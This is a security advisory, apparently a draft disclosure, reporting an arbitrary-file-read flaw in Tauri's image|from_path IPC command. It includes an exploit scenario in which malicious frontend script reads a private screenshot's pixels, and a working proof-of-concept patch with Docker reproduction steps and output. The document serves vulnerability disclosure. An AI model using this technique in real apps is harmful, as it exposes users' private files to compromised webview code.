All advisories
Closed draft

Unrestricted arbitrary-file read via image|from_path IPC command bypasses the fs scope/SafePathBuf system

tauri-apps/tauri

Affected packages

tauri rust
Affected versionsNot specified
Patched versionsNot specified

Description

Unrestricted arbitrary-file read via image|from_path IPC command bypasses the fs scope/SafePathBuf system

Affected repository: tauri-apps/tauri
Observed HEAD: 9967cdbd9786328910019b8f2af7de29c84a40a3
Sink: crates/tauri/src/image/mod.rs:97 in Image::from_path
Observed verdict: reproduced dynamically against the latest default branch

Summary

Any script running in the webview (malicious/compromised frontend dependency, or an XSS in the app's own web content) can read arbitrary files anywhere on the local filesystem outside of any developer-declared fs scope, as long as the file happens to be a valid PNG/ICO. The pixel data can then be retrieved back into JS via plugin:image|rgba, and even for non-image files the from_path error differs for 'file not found' vs 'invalid image data', creating a filesystem existence oracle across the whole disk.

Detail

The path argument originates directly from a webview-issued IPC call (plugin:image|from_path, and transitively plugin:tray|new, plugin:tray|set_icon, plugin:menu|new, plugin:menu|set_icon via JsImage::Path), is deserialized as a raw std::path::PathBuf with no SafePathBuf traversal check and no scope::fs::Scope::is_allowed check, and is passed straight into std::fs::read.

The saved scan described this exploit scenario:

In an app that ships the default core:default capability (the CLI-scaffolded default) and enables the image-png/image-ico Cargo feature (a common choice for apps that load runtime tray/menu icons or user avatars), a supply-chain-compromised npm dependency or an XSS payload in the frontend calls window.__TAURI_INTERNALS__.invoke('plugin:image|from_path', { path: '/home/user/Pictures/private_screenshot.png' }) followed by plugin:image|rgba on the returned resource id, exfiltrating the decoded pixel content of a file the app's own fs scope would never have granted access to.

Preconditions

  • App enables the image-png or image-ico Cargo feature on the tauri crate (non-default, but demonstrated in this repo's own example app)
  • The default core:default capability (or an explicit core:image:default/allow-from-path permission) is granted to the window, which is the out-of-the-box scaffolded configuration
  • Attacker needs to run JavaScript in the webview (e.g. via a malicious dependency or an XSS bug elsewhere in the app)

Reproduce

This turns Tauri's upstream resources example into a real GUI PoC. The page uses the public JavaScript Image.fromPath() and rgba() APIs, so the read crosses the configured capability, WebView IPC, image plugin, resource table, and filesystem boundary. The added record command only prints the result and terminates the app:

git clone --depth 1 https://github.com/tauri-apps/tauri.git tauri-repro
cd tauri-repro
sed 's/^#BLANK_CONTEXT#$/ /' <<'PATCH' | git apply
diff --git a/examples/resources/index.html b/examples/resources/index.html
index 3ba78dd..b211f9a 100644
--- a/examples/resources/index.html
+++ b/examples/resources/index.html
@@ -15,17 +15,12 @@
#BLANK_CONTEXT#
     <script>
       const { invoke } = window.__TAURI__.core
-      const { resolveResource } = window.__TAURI__.path
-
-      const pathEl = document.querySelector('#path')
-      const contentEl = document.querySelector('#content')
+      const { Image } = window.__TAURI__.image
#BLANK_CONTEXT#
       window.addEventListener('DOMContentLoaded', async () => {
-        const path = await resolveResource('assets/index.js')
-        pathEl.textContent = path
-
-        const content = await invoke('read_to_string', { path })
-        contentEl.textContent = content
+        const image = await Image.fromPath('/tmp/tauri-private.png')
+        const rgba = Array.from(await image.rgba())
+        await invoke('record', { value: `webview_ipc_rgba_len=${rgba.length} first=${JSON.stringify(rgba.slice(0, 4))}` })
       })
     </script>
   </body>
diff --git a/examples/resources/src-tauri/Cargo.toml b/examples/resources/src-tauri/Cargo.toml
index c82229d..9338953 100644
--- a/examples/resources/src-tauri/Cargo.toml
+++ b/examples/resources/src-tauri/Cargo.toml
@@ -12,3 +12,3 @@ tauri-build = { path = "../../../crates/tauri-build", features = ["codegen"] }
 serde_json = "1"
 serde = { version = "1", features = ["derive"] }
-tauri = { path = "../../../crates/tauri", features = [] }
+tauri = { path = "../../../crates/tauri", features = ["image-png"] }
diff --git a/examples/resources/src-tauri/capabilities/app.json b/examples/resources/src-tauri/capabilities/app.json
index c50f095..9edd2aa 100644
--- a/examples/resources/src-tauri/capabilities/app.json
+++ b/examples/resources/src-tauri/capabilities/app.json
@@ -1,6 +1,6 @@
 {
   "$schema": "../gen/schemas/desktop-schema.json",
   "identifier": "app",
-  "permissions": ["core:path:default"],
+  "permissions": ["core:path:default", "core:image:default"],
   "windows": ["main"]
 }
diff --git a/examples/resources/src-tauri/src/main.rs b/examples/resources/src-tauri/src/main.rs
index 3c3ddae..f3321b3 100644
--- a/examples/resources/src-tauri/src/main.rs
+++ b/examples/resources/src-tauri/src/main.rs
@@ -11,6 +11,12 @@ fn read_to_string(path: &str) -> String {
   std::fs::read_to_string(path).unwrap_or_default()
 }
#BLANK_CONTEXT#
+#[tauri::command]
+fn record(app: tauri::AppHandle, value: String) {
+  println!("{value}");
+  app.exit(0);
+}
+
 fn main() {
   tauri::Builder::default()
     .setup(move |app| {
@@ -26,7 +32,7 @@ fn main() {
#BLANK_CONTEXT#
       Ok(())
     })
-    .invoke_handler(tauri::generate_handler![read_to_string])
+    .invoke_handler(tauri::generate_handler![read_to_string, record])
     .run(tauri::generate_context!())
     .expect("error while running tauri application");
 }
PATCH
docker run --rm -v "$PWD:/src" -w /src rust:1-bookworm bash -lc '
  apt-get update && apt-get install -y libgtk-3-dev libwebkit2gtk-4.1-dev \
    libappindicator3-dev librsvg2-dev patchelf xvfb xauth &&
  git -c safe.directory=/src rev-parse HEAD &&
  cp examples/.icons/32x32.png /tmp/tauri-private.png &&
  timeout 180s xvfb-run -a cargo run -q -p resources
'

Observed at 9967cdbd9786328910019b8f2af7de29c84a40a3:

9967cdbd9786328910019b8f2af7de29c84a40a3
webview_ipc_rgba_len=4096 first=[71,112,76,0]

Credit

Zheng Yu @ Depthfirst